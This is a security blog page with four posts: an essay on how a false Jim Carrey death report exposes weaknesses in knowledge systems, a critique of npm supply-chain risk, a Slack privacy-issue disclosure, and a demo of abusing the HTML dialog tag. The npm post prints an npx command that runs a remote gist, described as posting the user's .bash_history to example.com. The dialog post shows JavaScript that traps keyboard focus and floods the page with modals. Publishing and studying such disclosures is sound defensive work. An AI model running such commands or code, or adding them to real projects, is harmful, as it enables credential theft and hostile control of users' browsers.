Security

The Reports of Jim Carrey's Death are a Failure Mode

 Published: Jul 1, 2026~ 4200 words~ 20 minutes reading time

On the 29th June 2026 - if you searched for Jim Carrey on Google, you would have been presented with a Knowledge Panel stating that he had died the previous day. The panel included a date of death and a biography written in the past tense.

Google Knowledge Panel for Jim Carrey showing a date of death of 28th June 2026 A Google summary of Jim Carry's wikipedia page written in the past tense

For most people who would have seen this, it may have come as a shock - some may have even believed it - but for me, what I saw was a canary in the coal mine. It was a visible failure mode of a knowledge system that I have been thinking about for a while now.

A trusted source?

Clicking on the date of death brings up Google’s own AI - Gemini - which stated that reports of his death were false. This led me to do a bit of my own digging around, and I could only find one source - an edit on the Wikipedia page that cited the Maui Police Department’s Facebook page and an established BBC article about former US President Jimmy Carter’s death.

A screenshot of Gemini stating that reports of Jim Carrey's death were false A screenshot of the Wikipedia edit showing a detailed death notice for Jim Carrey

It would seem this is an open-and-shut case: Wikipedia was edited, Google consumed the edit, their Knowledge Graph updated and presented this as a fact - but now we have two conflicting reports from the same company - one saying he is dead, and the other saying he is alive.

I don’t know exactly where the false claim entered Google’s systems and whether the Wikipedia edit was involved. All we can infer is that a combination of source weighting, entity resolution, indexing, freshness signals and internal systems produced the result. From outside the company, there is no way to know that. Google’s own description of the Knowledge Graph has always made clear that it is assembled from multiple public and web-derived sources, structured information and internal interpretation. The panel is the user interface to the knowledge of a much larger, opaque pipeline. Somewhere in that pipeline, a claim crossed a threshold and stopped being information that existed somewhere on the web and became knowledge presented by an interface that many people use and trust to find information.

Building knowledge systems is hard

My day job involves building knowledge systems. That description tends to make people think of the technologies involved: content, knowledge and document management systems, APIs, knowledge graphs, product information, search, integrations, semantic models, and now AI. While those things do matter, the main bulk of my work is less about moving information between systems and more about building systems that people can trust.

Every system that receives information has to make a judgement about it - in biological systems we call this perception, in technological systems we call this inference.

  • “Does this agree with what I already know?”
  • “Is the source authoritative in this domain?”
  • “Has this changed since the last time I saw it?”
  • “Does it conflict with something else?”
  • “Is the claim sufficiently important, recent or well-supported to pass further downstream?”

By the time a user sees an answer, those decisions have already been made several times by systems they will never see, and algorithms they will never be shown. In the end, all the user sees is a result, but not the process that produced it.

We use the words information and knowledge almost interchangeably, although they describe very different things. Information is a claim about the world. Knowledge is a claim that has survived enough scrutiny that another person, or increasingly another system, is prepared to act on it. The transition between those states is almost entirely invisible: users only see an output or outcome - those decisions have already been made several times by systems they will never see, and algorithms they will never be shown.

They do not see the claims that were discarded, the sources which disagreed, the confidence thresholds, the causal relationships between documents, or the fact that another internal system may have reached a different conclusion. One of the great sins of UX Design is that the interface tends to present the final answer as though it arrived fully formed.

The report of Jim Carrey’s death itself is of low consequence, but it exposed that hidden process for a brief moment - a claim that should have remained an assertion appears to have been promoted before the available evidence confirmed it. Whether that was caused by malicious manipulation, a weakness in source reconciliation, a problem in how to handle fresh data, or some combination of those things is almost secondary. The failure mode exists either way. A knowledge system can inherit confidence from upstream sources faster than it inherits the verification required to deserve that confidence.

The shape of misinformation

Propaganda and misinformation existed long before the internet era, but with opaque systems it’s never been easier and faster to produce them. A false article is published, designed to trigger people’s emotions, people share it, and by the time journalists or fact-checkers catch up, the narrative has already achieved much of its purpose. The old line, usually attributed to Mark Twain even though the attribution itself is uncertain, says that a lie travels halfway around the world while the truth is still putting on its shoes. In the past, you needed to own a media empire to achieve this. Today, all it needs is a social media platform and people to click, share and like. The speed of distribution has increased, but the underlying pattern is the same: a claim can be repeated and amplified faster than it can be verified.

But I believe that now in the ‘Age of AI’ there is a new emergent version that looks less social-technical and more like an infrastructure problem.

A false claim does not need to persuade millions of people individually if it can persuade, or merely pass through, the systems that decide what millions of people see. A carefully shaped claim with plausible references, structured fields, apparent corroboration and the right entity identifiers can become input to the systems that now summarise, rank, recommend and answer on our behalf. The target has moved upstream from users to the machines that mediate people’s relationship with reality.

Software engineering is already grappling with this as supply-chain risk. For a long time, software security was focused on applications - RBAC, access control lists, security patches - but then it became obvious that applications were not the only attractive target, and attacking dependencies is much cheaper and easier to do. Modern software supply-chain practice is built around provenance, attestations, reproducible builds, signatures and the ability to trace an artefact back through the process or pipeline that created it. We have learned that software cannot be trusted simply because it is available in a repository run by large organisations: trust depends on understanding where it came from, who created it, how it was assembled and what metadata has been attached to it along the way. I believe the same is now true of knowledge.

Claims also have origins, dependencies and supply chains - they inherit trust from upstream systems, but they also inherit mistakes, gaps and manipulation. A claim copied across a hundred pages may look like consensus while remaining one upstream observation reflected in a hundred different places. A citation can look like evidence while pointing towards a source that does not support the claim. A polished summary can make uncertainty disappear without resolving it. We’ve fallen into a trap where information has not become more reliable; it merely acquires the appearance of reliability.

That distinction is where provenance becomes more important than confidence. A system saying that it is ninety-four per cent confident is not particularly useful unless it can explain what produced that confidence.

  • “Is the source authenticated?”
  • “Is it the original source?”
  • “Are there genuine independent confirmations?”
  • “Has the claim remained stable over time?”
  • “Does it contradict other information already held by the system?”
  • “Has the underlying observation been repeated?”

Confidence without this context becomes merely presentation - it may make an answer feel truthful, but it does not tell us whether the answer is true.

Prior art of verification

Science has spent centuries developing ways to deal with this problem. When a scientist publishes a paper in a journal - it doesn’t immediately become accepted knowledge. Publication begins a process of scrutiny: other researchers examine methods, challenge assumptions, reproduce calculations and attempt to replicate results. Independent groups of researchers may arrive at the same conclusion through similar or different methods.

Sometimes confidence grows because the evidence survives repeated scrutiny of the original claim. Sometimes, however, confidence collapses, leading to corrections, and occasionally the work is retracted entirely.

Retractions are often presented as embarrassing exceptions, as though science has failed when it admits that something previously published should no longer be trusted. But retractions are evidence that the system remains corrigible - that things can be corrected or set right. Publication is not the end of the scientific process; it’s the start of a process that makes the claim eligible for a stronger kind of scrutiny.

The replication crisis reinforced that lesson across multiple scientific disciplines - it showed that peer review is valuable, but that it’s not always sufficient. Scientific knowledge required additional verification layers because the cost of confusing publication with truth had become too high.

We see this too in historical patterns beyond science - in fact, every major shift in how information and knowledge is distributed eventually requires a corresponding shift in how it is verified.

When written records were scarce, the ability to create and preserve them was concentrated in relatively few institutions. Monasteries, royal courts and university archives became custodians of texts as much as producers of them. Their authority was never a guarantee of truth, but access to durable writing and copying imposed a kind of scarcity that shaped what has survived to this day. The printing press changed that - once texts could be reproduced at scale, publication itself ceased to carry the same authority. We responded slowly by constructing new layers around the printed word: editors, publishers, editions, libraries, citations, journals, review and later peer review.

Newspapers and mass media intensified the problem because they combined reach with speed. The answer could reach a large audience before the underlying event had fully settled. Editorial desks, named sources, corrections, libel law and newsroom standards emerged as ways of creating enough friction that a printed claim could carry some degree of trust. Broadcast media added immediacy and mass scale, bringing regulators, editorial governance and public-service obligations into the picture. This is not a claim that any of these systems are in fact neutral or perfect - they were shaped by power, economics and politics.

But the pattern keeps repeating itself: each increase in distribution capability made existing verification mechanisms insufficient, and new mechanisms had to be invented around the new medium.

The internet has pretty much removed any friction around publishing and distribution - anyone can now have a blog, a YouTube channel or run their own entire platform. Search engines created a new type of verification proxy through ranking, linking and perceived authority - this is how Google won and pushed out the first generation of services like Yahoo! and Ask Jeeves. Social media platforms made distribution algorithmic, measurable and emotionally optimised.

Editorial layers have not disappeared, but they have become a lot easier to bypass. Now AI adds another complication to all of this, because it does not merely distribute or retrieve information - it actively participates in selecting, combining, paraphrasing and promoting information into confident-looking answers.

We can already see that our existing tools for verification completely fail - and I believe this means the verification layer has to move closer to the architecture itself. Systems are no longer only passing along information; they are manipulating the creation of what users experience as knowledge.

Temporal issues

Time is one of the parts of this problem that knowledge systems still model very badly - most knowledge systems assume a static time frame: that when knowledge is created, it’s valid and correct. Reality is messy, though, and claims converge at different speeds, but almost all modern systems assume that every question should have an immediate answer. Indeed, some questions can be resolved almost instantly - while other claims require hours, days, months or even years before they can be validated. A scientific result may remain provisional until it survives replication; an election result may move through states of projected, counted, challenged and certified until a winner is confirmed; and a report of a death may remain unconfirmed until there is a statement from family, representatives or public authorities.

We’ve seen this play out many times in US politics - the famous ‘Dewey Defeats Truman’ headline is an example of the press getting an election wrong (we’ll skip the ideological reasons here for now). The headline turned uncertainty into certainty before the counting was finished. It was premature rather than merely inaccurate. This was repeated again in 2000 - during the Florida recount and the legal processes that followed, the most accurate representation of the situation was that the result remained unresolved. Choosing Bush or Gore too early was not just a choice between two candidates; it was a system that had not yet reached a grounded state. The Supreme Court’s decision in Bush v. Gore brought that process to a conclusion, but for a period, the uncertainty was not a defect in the information: it was the only information.

The 2020 United States election represents an entirely different state. In the end, the outcome was certified and electoral votes were counted. Recounts and legal challenges took place, and the formal system reached a conclusion. Joe Biden received 306 electoral votes to Donald Trump’s 232.

But that did not produce universal belief. Donald Trump continued to claim that the election had been stolen, and many of his supporters accepted that claim despite a rigorous certification process and the absence of evidence sufficient to overturn the result. Public belief remained divided after the institutional process had converged on the result.

These are different epistemic states, and knowledge systems desperately need a language for them. In 2000, uncertainty was the reality - the process had not reached a stable conclusion. In 2020, the evidence had converged and the result was verified, but a portion of the population continued to reject it, and still do to this day. The problem is that without proper semantics, systems may treat both states as “uncertain” without a clear distinction; this can confuse the absence of a settled, verified result with the refusal to accept a result.

Distributed systems already offer a useful way of thinking about this: engineers understand that state is not simply correct or incorrect. In distributed systems, data may be stale, partitioned, inconsistent, awaiting consensus, eventually consistent or in conflict. We do not demand that every replica across the system knows the final state before the system has converged. Knowledge systems increasingly have the same shape, except the object being replicated is not a database row - rather, it is an interpretation of reality.

A claim may be observed in one source, contradicted in another, supported by a third, and still waiting for enough independent evidence to justify promotion. The system needs to represent those states rather than flatten them into a single confident answer without context - it needs to be able to represent the fact that a claim is unresolved, disputed or contradicted, and that it may change over time as new evidence emerges.

Aristotle’s Mistake

This is where the simple true-or-false model begins to look inadequate - we now need to be able to represent ’the law of the excluded middle’.

Claims can be in multiple states at once - asserted, supported, corroborated, unresolved, disputed, promoted, superseded, retracted or rejected. The labels are less important than the ability to distinguish these as separate conditions across systems. A claim that has been widely repeated but traces back to one source should not look like a claim independently corroborated by several sources. A claim that contradicts existing knowledge should not necessarily be discarded, but it should not be promoted as though no contradiction exists. A claim that was reliable last year may be stale today. A claim that was accepted yesterday may need to be retracted tomorrow.

Knowledge needs a lifecycle that can support multiple states, and systems need to be able to represent those states in a way that is understandable, inspectable and auditable. The system should be able to explain why a claim is in a particular state, what evidence supports it, what evidence contradicts it, and what the process would be for changing its state.

The Referee is Blind

The World Cup provides an unexpectedly useful example of how this might work in practice.

VAR (Video assistant referee) was not introduced because referees were incapable of making decisions: football accepted imperfect results for more than a century. VAR appeared because certain decisions carry enough consequence that additional evidence and review are justified.

Crucially, it does not review every pass, every foul or every throw-in: it is restricted to match-changing decisions: goals, penalties, direct red cards and cases of mistaken identity. The protocol is designed around correcting clear and obvious errors or serious missed incidents, while attempting to maintain the ordinary flow of the match. VAR also demonstrates something that is easy to overlook - better verification does not produce universal agreement. Supporters will still argue about decisions; managers will still complain. An entire stadium can watch the same evidence and remain convinced that the outcome was wrong.

The purpose of the system was never to make everyone believe the decision. It was to create a more justified, inspectable and consistent process for reaching it.

That is a useful design principle for knowledge systems. Verification should be proportional to consequence. A celebrity biography can tolerate a weaker promotion path than emergency guidance. A product description can tolerate more uncertainty than a medical recommendation. A breaking-election projection should not be presented in the same way as a certified result. Low-risk claims move quickly with lighter verification; a high-risk claim should face stronger provenance requirements, independent corroboration, contradiction checks, temporal stability and perhaps bring a human into the loop.

That distinction carries over directly into many areas of reality. Science does not eliminate disagreement (Only 68% of physicists believe the Big Bang started as a hot, dense state), Courts do not eliminate disagreement , Election systems do not eliminate disagreement.

Verification is not a process for manufacturing belief; rather, it is a rigorous process for increasing justified confidence, preserving the possibility of challenge and making it possible to understand how a conclusion was reached. Knowledge systems should optimise for that, rather than treating universal acceptance as the goal.

Engineering Philosophy

This points towards a practical architecture for knowledge stewardship. It does not need to be a rigid global truth machine: different domains will require different thresholds, sources and review processes as the risk profile increases, but it does need to preserve a few things that current systems often discard too early.

A claim should enter the system with its provenance intact: source, timestamp, original context, transformations, identifiers, and relationship to any upstream assertions. Systems should know whether support is independent or derivative, because repetition cannot be allowed to masquerade as corroboration. They should distinguish corroboration from replication, since some domains require confirmation that an underlying observation or method can be reproduced, rather than merely quoted. They should model temporal behaviour, allowing claims to remain unresolved where reality has not yet converged and allowing old claims to decay, be reviewed or be downgraded when their supporting evidence becomes stale.

Contradiction should become a first-class state rather than an exception - the delta between two competing claims is itself information, and could signal a need to update knowledge. A report that conflicts with recent verified activity, official records or another high-trust source should trigger review, lower the confidence of the claim, or prevent promotion until the contradiction can be explained. In a mature system, contradiction is useful information. It tells the system that the world may be changing, that sources may be wrong, that entities may have been confused, or that the claim has simply not yet earned any of the authority it is attempting to acquire.

Promotion of knowledge itself should be observable. Software does not move directly from someone writing code to production without a lifecycle. It is built, tested, reviewed, deployed, monitored, rolled back and eventually retired.

Knowledge should have comparable states. A claim may be asserted, then sourced, then supported, then corroborated, then promoted for use in an answer. Later it may be challenged, superseded or retracted. A correction should travel downstream with at least as much seriousness as the original claim. Systems that can publish but cannot meaningfully withdraw or correct are dangerously one-directional: they are good at creating confidence but make no attempt to repair it.

This has implications for AI systems in particular. A language model can preserve the words of an uncertain source while completely removing the uncertainty that gave those words their proper meaning. It can take caveats, conflicting evidence and incomplete reporting, then compress them into a fluent paragraph that sounds correct. The underlying uncertainty has not been resolved; rather, the summarisation just removes it. A trustworthy system needs to carry epistemic state through retrieval, ranking and generation.

If the source is uncertain, the answer should remain uncertain. If evidence is disputed, the dispute should be part of the summary. If the claim is newly observed and not yet corroborated, the interface should not present it with the confidence that it is a settled fact.

Governance requires that someone decide which sources are authoritative for which kinds of claim, but these decisions must always remain domain-specific. In any domain, facts require independent corroboration, and until recently we’ve made human review mandatory. We need to enforce how long a claim remains valid before it needs to be reconsidered, and how any corrections must propagate across systems.

These decisions tend already to exist outside of software and data systems; those that are built for this are encoded in business rules - but when systems are not designed for this from the outset, the risk is that these decisions will emerge from ranking algorithms, caching behaviour, data contracts, product incentives and organisational convenience as a sort of ‘governance-by-accident’.

The truth will not be free

A few years ago I said that truth might eventually become like bottled water: clean information will be packaged and sold to those who can afford it; everyone else will need to get what they can from the dirty tap.

This doesn’t mean that truth will become scarce; however, it may become a privilege: information that has been filtered, checked, corrected and made safe enough to rely upon. Everyone else will still have access to truth, of course, but it may arrive mixed with rumour, repetition, manipulation, stale facts and deliberate contamination. The ‘dirty tap’ will not contain only lies, and that is what makes it dangerous: it will contain enough truth to make the rest difficult to detect.

Knowledge may be heading in the same direction. The valuable systems will not be those with the most information or the smoothest prose. They will be the systems that can show where a claim came from, how it was promoted, what supports it, what contradicts it, whether the evidence has converged and how the system would correct itself if it turns out to be wrong. The scarce resource will be the ability to demonstrate that the information has been stewarded rather than merely propagated.

The report of Jim Carrey’s death was harmless by comparison with the kinds of failure this could produce elsewhere. It was a celebrity death hoax - visible long enough to be odd and then easy enough to dismiss - but failure modes often introduce themselves that way. They appear first as mildly absurd incidents which reveal the shape of a deeper weakness before someone finds a way to exploit it at a scale that causes actual harm.

The same pattern becomes far more serious when it touches emergency information, medical guidance, public safety, legal rights, product safety, financial markets or democratic institutions. The systems mediating those decisions will face the same underlying challenge: deciding when a claim has earned the right to be presented as knowledge, and doing so in a way that preserves provenance, uncertainty, correction and accountability.

For most of human history, the question “How do we know?”—often without a clear answer—belonged to philosophy. Over the last few centuries, it became one of the central questions of science. The systems now being built place that question directly inside software architecture. The next decade will spend less time discovering how quickly information can move and more time learning how information earns the right to be trusted.

Oh no, not again... a meditation on NPM supply chain attacks

 Published: Sep 9, 2025~ 1700 words~ 8 minutes reading time

I’ve been sitting on this article for a while now – well over a year I’ve put off publishing it – but as we’ve seen this week, the time has come to lift the veil and say the quiet part out loud:

It’s 2025; Microsoft should be considered a “bad actor” and a threat to all companies who develop software.

Of course, if you’re old enough to remember – this is not the first time either…

Time is a flat circle

Here we are again – in 2025, Microsoft have fucked up so bad, they have likely created an even larger risk than they did in the 2000’s with their browser by simply doing absolutly nothing.

I had started initially writing this post around the time of the xz incident – a sophisticated and long-term attempt to gain control of a library used in many package managers of most Linux distributions.

Since then, many more incidents have happened, and to be specific NPM has become the largest and easiest way to ship malware. At first, most of it was aimed at stealing cryptocurrency (because techbros seem to be obsessed with magic electic money and are easy prey). But now, these supply chain attacks are starting to target more critical things like tokens and access keys of the package maintainers, as seen with the NX incident and now several depedencies that are used daily by thousands of developers .

Again… this is nothing new in the land of NPM.

But it didn’t have to be this way…

We’ve come along way, but have travelled nowhere

I have a long history with NodeJS – around 2010 I started working on a startup, and this was before npm was even a thing .

A sceenshot of a slide with an announcement of npm as a package manage for node

Back in the misty days of the 1990s most JavaScript security issues were not much of a backend concern: this was mostly the domain of Perl, PHP, Python, and Java.

The web however was a much different story.

In the very early days of the World Wide Web there was really only one main browser everyone used: Netscape Navigator. Released in 1994 it was not just a browser: throughout its life it had various incarnations of a built-in email client, calendar, HTML editor with FTP browser, and with plugins could play media files like Realplayer and MP3 (which I remember at its launch) and Flash movies and games. It’s where JavaScript was born.

Many of the early websites of the day were static – popular tools to build websites included HotDog or Notepad . No fancy IDEs or frameworks, just a text editor, a browser, and alert() to debug.

Microsoft had also entered the game with Internet Explorer – included in an early Windows DLC called “Plus! For Windows 95”. It eventually became the software that Microsoft bet its whole company strategy around (much like today with AI).

Internet Explorer was embedded into every aspect of Windows – first in 1995 with Active Desktop, which continued all the way to Windows XP. With it you could embed a frame item on your Desktop, but also a Rich Text document or Excel spreadsheet. It was also bloated and buggy – and with that it presented two problems: a massive security risk and exposure to accusations of monopolising the browser market.

The law came after Microsoft hard and in 2001 it won – Microsoft was told to break up its monopoly. One aspect was that it had to offer other browsers on its operating system (a similar story happening now to Apple) – but it also wasn’t forced to remove Internet Explorer.

Microsoft essentially abandoned IE; as the years rolled on they continued to push out new major verions to capture the market, but without fixing the major flaws. It still shipped as default with the OS, unable to be removed without breaking other parts of the system.

Each release of Internet Explorer added something new to the browser landscape, but it also continued to add bugs and flaws on top of the ones that no one touched – by default, on all Windows systems lived code that could give hijackers access to users machines .

It wasn’t until 2015 they finally abandoned the existing Internet Explorer codebase and shifted to a new engine before eventually settling on their ChomeBlink-based engine. However the ghost of IE still haunts us today .

The ticking time-bomb of postinstall

8 years ago, I wrote a small proof of concept . It was in response to this issue about npx – a small tool that had just been added to npm by default whether you liked it or not.

With npx you could now run the following arbitary command (PLEASE DO NOT RUN THIS SCRIPT):

npx https://gist.github.com/tanepiper/6cb9067adca626cd2c0edbc3786dad7b

This would now pull the gist as a node module and run it. In the proof-of-concept I put this command as a postinstall script. If you look at the gist, it’s a small binary script that posts your .bash_history to example.com – which at the time npx would just run.

My frustration at the time was aimed mostly towards npx itself – it seemed like the NPM team were adding a new easy-to-use attack vector by shipping a tool that could run any module from any source on the web, on your machine without user interaction. But little did I know at the time there was a deeper problem lurking with postinstall.

At the time I also created a package.json linter that would warn of potential issues. But of course it required projects to opt in, it needed trust, and I didn’t see a way forward for it.

This was, of course, before Microsoft, via GitHub, owned NPM.

A short bit of history

So how did NPM become the main package manager for Node? Back then, it solved a problem – it was as simple as that – and people noticed it and adopted it. Over time, more useful little libraries showed up and from that, the rest is history.

NPM, built on CouchDB which enabled fast replication, allowed a flourishing and open JavaScript ecosystem. In the beginning, it was a bit of a wild west, where people tended to cut corners or miss steps. There was also a lot of early abandonment of libraries, and communities started to form around some of the larger ones to at least establish them as de facto tools – Express.js for example has been around since before npm (and for all the complaints about performance aimed at it: it’s highly battle tested and the worst bugs have likely been squashed).

Node and npm’s future was not a guaranteed thing. At some point, there was fragmentation of the ecosystem – tools such as yarn and pnpm exist because npm couldn’t or wouldn’t fix something, but they introduced their own changes that only made them partially compatible with each other. In 2014, for a short while we even had a fork of NodeJS called io-js because of fundamental disagreements.

There was also the small problem that all of this infrastructure and services cost money to run.

To paraphrase C J Silverio – “There’s no money in package managers.”

In 2018 Microsoft bought GitHub (and until this year ran it as a side-concern with its own CEO and management team – just last month, the CEO stepped down and now GitHub is part of the “AI” team). In 2020, GitHub bought NPM – with pockets deep enough to run the infrastructure. This means that Microsoft owns the world’s largest repository of JavaScript code, the distribution channel for its packages – and the development ecosystem with VSCode.

This likely saved npm in the long run by them simply having the resources to do so.

On the other hand, they have done little to make it a more secure tool, especially for enterprise customers. To their credit, GitHub has provided new tools for Software Bill of Materials Attestastion , which is a step in the right direction. But right now there are still no signed dependencies and nothing stopping people using AI agents, or just plain old scripts, from creating thousands of junk or namesquatting repositories.

… and as we’ve learned 2-Factor Authentication isn’t enough secure npm.


I want to get back to the fun of building software

Ultimately, I don’t think we can trust the software ecosystem provided by Microsoft anymore. It’s too fragile, brittle in the wrong places, and too open to abuse, and for most of my career I have seen the causes and effects first hand. This has made software development less fun, and more of a chore.

The tools we use to build software are not secure by default, and almost all of the time, the companies that provide them are not held to account for the security of their products.

Without a concerted effort across the industry to make the software supply chain secure by default, we will continue to see a rise in incidents – and the risks to data privacy and security will only increase. Criminal and state actors are always looking to exploit the vulnerabilities in our software; the use of AI to create more sophisticated attacks will only improve. These don’t have to be technical either – deep fakes are close enough to be used as effective social engineering tools - and it’s very easy to fake emails that seem very legitimte.

Unfortunately, Microsoft seem to be actively hostile - in their lack of attempts to shut down an active security hole that’s almost a decade old, they have left their customers are the higest levels of risk seen in computing.

For many companies, now is the right time to start looking at the tools they use to build software, and to start asking the hard questions about the security of their software supply chain – is it putting their customers, workers, or own profits at risk?

Slack wants you you know this privacy exploit is fine

 Published: Sep 25, 2023~ 900 words~ 4 minutes reading time

Last week, after a call with the engineers on my team I wanted to send a message to two of the engineers at the same time - little did I know I’d find what I believe to be a nasty privacy exploit in Slack - one that made me ask “Why is this even a feature?”

Like any good responsible software engineer, instead of taking to social media or forums to post about the exploit - I opted to report it to HackerOne - where Slack accepts reports of potential security exploits. After giving a detailed list of instructions on how to achive it (Report #2171907).

Shortly after (within 40 minutes) I recieved a reply which slightly dumbfounded me - the full reply is below, but began “We have reviewed your submission, and while this behavior is not perfectly ideal, it is intended.”

After asking some people in the Infosec community what is the right next step, I was advised that I’m within my rights to inform about this, mostly to give fair warning to Slack users that this exploit exists.

Unforeseen Consequences

So what was this exploit I found - in some way it’s so deliciously simple, that I had to double check it actually happened. I found it by using Slack “as intended” - but the result was not what was expected, with an unclear UI about the consequences - and I believe for most users who may experience it, would not realise what has happened. Certainly in the moment it could cause real harm to users, under certain circumstances.

The list of actions is as follows:

  1. Click on a user in Direct Messages
  2. Click on the user name at the top where the chevron is located
  3. Click "Add people to this coversation" (up to 9 people)
  4. Add one or more users to the conversation

You will now receive a popup with several options - in this case, because I couldn’t find the original DM with the pair of engineers in the UI it seemed like the option “Include conversation history?” seemed sensible.

In hindsight, it does have a message at the top of the screen - but in the moment as many know, these messages when not labeled as warnings can be missed or ignored by users - or any bad actor with access to the appropriate Slack account

So now a private DM conversation, going all the way back to the beginning of this history has now been shared with all the people added to it, attachments and all.

The person in the DM thread received no consent to allow this action.

But what now makes it worse is that this whole DM is now a thread, and a thread can be turned into a private channel.

Once turned into a private channel, the original person in the DM can be removed from the entire room - no longer having access to any of the messages. Also as a channel a much larger number of people (like a whole organisation) can be added to it.

OK, what now?

So the functionality is working as intended.

But what if I’m a disgruntled employee who has some DMs with a board member who was sharing internal confidential information? Or a bully who happens to find an unlocked computer of a fellow employee they know is in a secret relationship? Or a hacker who has managed to get into a key account of a Slack that hasn’t enabled 2FA, or via a magic link in their email account because of a weak password?

Its not like unauthorised access to systems is not a thing

Slack’s reply and caveats

To be fair to Slack, I will include the response below where they include their reasons why this is “as intended”.

I’ll leave it up to you the reader to decide if it’s enough of a mitigation, or if many companies would even have the processes to begin to deal with this an an immediate threat - I can guess many companies using it don’t even have a dedicated CSO, team managing slack - and likely use default settings.

Thank you for your report.

We have reviewed your submission, and while this behavior is not perfectly ideal, it is intended. In this “attack”, a user must have the permission to create private Channels, and this can be restricted by Owners/Admins.

In addition, the DM messages are not truly deleted when performing this behavior. An Admin/Owner with the necessary permissions to manage private Channels can always access the content within private Channels if necessary.

For these reasons, we are relatively satisfied with our security at this time, and we will be closing this report as Informative. Regardless, we appreciate your efforts here, and hope you continue to submit to our program.

Thanks, and good luck with your future bug hunting.

Revisiting Dark patterns with the HTML <dialog> tag

 Published: Feb 8, 2021~ 1100 words~ 6 minutes reading time

Every once in a while I’ll see frontend developers tweet or blog about how great the HTML dialog tag is and each time I’m reminded me of an old Medium post I made a few years ago about its use.

The good news is in 2021 it’s much harder to use it to crash a user’s browser - in Firefox dialog.showModal is behind a flag so it has to be specifically enabled by users. In all browsers preferred way to use this tag in 2021 is to use the open attribute which is a much more sensible way of using the tag. However, it is still possible to do some things mentioned below and kill browser performance (and it’s still possible to steal focus in Chrome).

I thought it would be a good opportunity to revisit it as I feel it still has issues that makes it a potentially dangerous tag to use on the web without thinking about the implementation. One thing that blogpost (and me pointing it out) does is bring out people to say it’s nothing to do with the platform…

So you discovered you can do shit in the browser an mess with the user
Except that nothing of this is related to the dialog tag, nor is the fact that it’s “built-in”. If the argument is “the built-in dialog should be restricted so that people can’t abuse it”, all you’re doing is making sure abusers use a div (or different elem) as dialog instead.

Certainly, some people didn’t agree - and it would be a valid suggestions to say this is achievable in other ways. However, several years later I still stand by my original points:

  • By default, library modals do not completely steal the users mouse focus even when in a loop of generating modals you can click elsewhere on the page (although of course they always can be made to!)
  • It’s still very easy to kill browser performance very easily, very quickly because there is no limit to the number of dialogs that can be created
  • The <dialog> tag is built into the platform, so there’s no way to stop its use by blocking any offending library code - bad actors have all the tools to do this available in the DOM with a single HTML file.
  • A single API is also a single attack surface - any script injection attacks don’t have to worry about library-specific implementations - they can always rely on document.getElementsByTagName('dialog') to access <dialog> elements on the page.

Over the last few years, users have also been taught bad habits to click any popup in operating systems, or in the browser through the use of Cookie popups, newsletter popups and other generally badly implemented ideas.

Revisiting The Hacks

Now on StackBlitz, I’m using the same demo as before with some updates. The example does the following:

  • Adds a listener over the close button which, when the user hovers over it disables the button and moves the modal.
  • Adds a second close button that when pressed closes the modal but also triggers an undesirable path (such as installing malware because we have a trusted user-triggered Event that allows Web APIs)
  • 2 Buttons that send you into a loop of death in infinitely creating modals that can’t be escaped, and always steals focus.
  • Hijacking the users keyboard, so users cannot use Esc, not can they Tab away from the dialog or use Space to click any buttons.

Overriding the DOM for fun

One issue is that you pretty much have full control over the DOM of the dialog. This is good in many ways, but with great power…

function createModal() {
  // ...
  const button = document.createElement("button");
  button.innerText = "Close Me";

  function moveModal() {
    button.setAttribute("disabled", true);
    button.innerText = 'LOL';
    lastX = newModal.style.top || 0;
    lastY = newModal.style.left || 0;
    newModal.style.transform = `translate(${(lastX * Math.random() < 0.5
      ? -1
      : 1) +
    Math.random() * 250}px, ${(lastY * Math.random() < 0.5 ? -1 : 1) +
    Math.random() * 250}px)`;
    button.removeAttribute("disabled");
  }

  button.addEventListener('mouseenter', moveModal);
  // ...
}

With our annoying button, we use this to control the transform style of the modal itself and move it beyond the reach of the user. We add a second button that does close the modal using a call to modal.close() but after that we can trigger any JavaScript we want, such as loading new tabs, running bitcoin miners, searching for aliens, etc.

My argument here is that outside of styling some parts of the look and feel, it should not be possible to mess with the dialog after it has been presented.

Blocking the Escape Route

Of course most users might try press the Escape key in hopes that whatever is on the screen will disappear, but we have that particular route covered.

const keyEvents = [
  "Backspace",
  "Tab",
  "Enter",
  "Escape",
  "Space",
  "ArrowLeft",
  "ArrowUp",
  "ArrowRight",
  "ArrowDown"
];
document.addEventListener("keyup", event => {
  if (keyEvents.includes(event.code)) {
    event.preventDefault();
    createModal();
    return false;
  }
});

In this case we hijack when we detect the code for the Escape key, as well as any other buttons the user might try to use to escape - and we use it to just keep clicking the open button for creating more modals.

My argument here is when a dialog is displayed, don’t allow JavaScript to hijack the keyboard and stop the user from closing the dialog - this is also bad for accessibility.

Killing the Browser

It’s quite easy to create a stack overflow In 2021 it’s less easy to create a Stack Overflow with the dialog, but it is still possible to slow down the users browser and spike CPU by just calling a setInterval on it:

function handleKill1() {
  setInterval(createModal, 1000);  // 1 second here is generous - but we could do it every 1ms
}

Here we can see that we get a lot of spikes in CPU usage and memory garbage collection is constantly triggered:

A Chrome performance graph showing CPU and memory usage

My argument here is to limit the number of dialogs that can be shown on screen at once - modern browsers already do this for alert - allowing the user to set Don't show popus anymore for this website when it’s abused by developers.

Component Solution

One way around this in your own code is to use the <dialog> tag only within your own components - I’ve created another example with a web component that embeds the dialog in to a ShadowRoot and provides the global a state, so you cannot open more than one at a time and third-party scripts cannot access the internal <dialog>.

Hopefully you enjoy the demo and this post. I’m not against the use of dialogs themselves - but I think providing some way to limit the number of modals that can be shown, and limit what can and cannot be changed within it would provide a deeper layer of secure use across the web platform.